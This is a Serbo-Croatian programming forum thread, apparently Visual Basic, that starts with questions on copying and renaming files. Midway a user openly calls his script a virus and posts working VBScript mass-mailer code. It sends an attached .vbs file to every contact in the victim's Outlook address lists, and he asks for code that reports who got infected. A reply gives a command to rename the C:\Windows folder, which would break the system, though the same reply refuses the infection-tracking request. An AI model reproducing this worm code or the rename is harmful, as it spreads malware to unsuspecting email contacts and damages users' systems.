Zanima me neki sourc cod za kopiranje fajlova i da ih moj program zaljepi di ja oću napr. C:\WINDOWS\NOTEPAD.exe da se kopira u C:\Program Files
Source cod za kopiranje fajlova????
Zaključano
Zakačeno
Pogledaj TOP temu "File System Object - rad sa fajlovima i folderima" i obrati pažnju na poslednju poruku u temi koja, između ostalog, pominje:
Metode za rad sa fajlovima
-CopyFile
Citat:
Metode za rad sa fajlovima
-CopyFile
Potpis
Commercial-Free !!!
Našao sam,a zna li ko source za preimenovamje fajlova
Code:
Name [ime fajla] As [novo ime fajla]
Name [ime fajla] As [novo ime fajla]
Potpis
-Odracuonogakomijedrpiorazmaknicu.
-Ne rxdi mi txstxturx, kxd god hocu dx
ukucxm "x" onx ukucx "x".
-Ko kaaz e da ja neuummem da kuuca
m.
-Piše "Insert disk 3", a jedva sam i ova
dva ugurao u drajv
-Postoje samo dve osobe kojima
verujem, jedna sam ja, a druga nisi ti
-Ne rxdi mi txstxturx, kxd god hocu dx
ukucxm "x" onx ukucx "x".
-Ko kaaz e da ja neuummem da kuuca
m.
-Piše "Insert disk 3", a jedva sam i ova
dva ugurao u drajv
-Postoje samo dve osobe kojima
verujem, jedna sam ja, a druga nisi ti
Kako napr ako oću preimenovati Windows u Windows2
I usput zan li ko koji sourc za širenje e-mailom,ja imam neki ali ne znam gde se moj "Virs" gnjezdi pa ne znam što da stavim u Attachments.Ovo je primer sourca kojeg ja imam,i cuo sam da ima sourc ,koji me obavještava ko se s mojim "Virom"zarazio,zna li ga tko.??
Code:
On Error Resume Next
Dim Mail, cAddresses, Address, App, MAPI
Set App = CreateObject("Outlook.Application")
Set MAPI = App.GetNameSpace("MAPI")
For Each cAddresses In MAPI.AddressLists
For Each Address In cAddresses.AddressEntries
Set Mail = App.CreateItem(0)
Mail.Recipients.Add Address
Mail.Subject = "subjekt"
Mail.Body = "bodybodybody poruke"
Mail.Attachments.Add("C:\aaa5421.vbs")
Mail.Send
Next
Next
On Error Resume Next
Dim Mail, cAddresses, Address, App, MAPI
Set App = CreateObject("Outlook.Application")
Set MAPI = App.GetNameSpace("MAPI")
For Each cAddresses In MAPI.AddressLists
For Each Address In cAddresses.AddressEntries
Set Mail = App.CreateItem(0)
Mail.Recipients.Add Address
Mail.Subject = "subjekt"
Mail.Body = "bodybodybody poruke"
Mail.Attachments.Add("C:\aaa5421.vbs")
Mail.Send
Next
Next
Citat:
Kako napr ako oću preimenovati Windows u Windows2
Pa kao sto sam rekao, pomocu funkicije Name.Ako ti se windows nalazi na C: onda:
Code:
Name "C:\Windows" As "C:\Windows2"
Name "C:\Windows" As "C:\Windows2"
Citat:
i cuo sam da ima sourc ,koji me obavještava ko se s mojim "Virom"zarazio,zna li ga tko.??
To je nelegalno i nemoralno, a virusi su opasni po zdravlje kompjutera.
Potpis
-Odracuonogakomijedrpiorazmaknicu.
-Ne rxdi mi txstxturx, kxd god hocu dx
ukucxm "x" onx ukucx "x".
-Ko kaaz e da ja neuummem da kuuca
m.
-Piše "Insert disk 3", a jedva sam i ova
dva ugurao u drajv
-Postoje samo dve osobe kojima
verujem, jedna sam ja, a druga nisi ti
-Ne rxdi mi txstxturx, kxd god hocu dx
ukucxm "x" onx ukucx "x".
-Ko kaaz e da ja neuummem da kuuca
m.
-Piše "Insert disk 3", a jedva sam i ova
dva ugurao u drajv
-Postoje samo dve osobe kojima
verujem, jedna sam ja, a druga nisi ti
Hvala.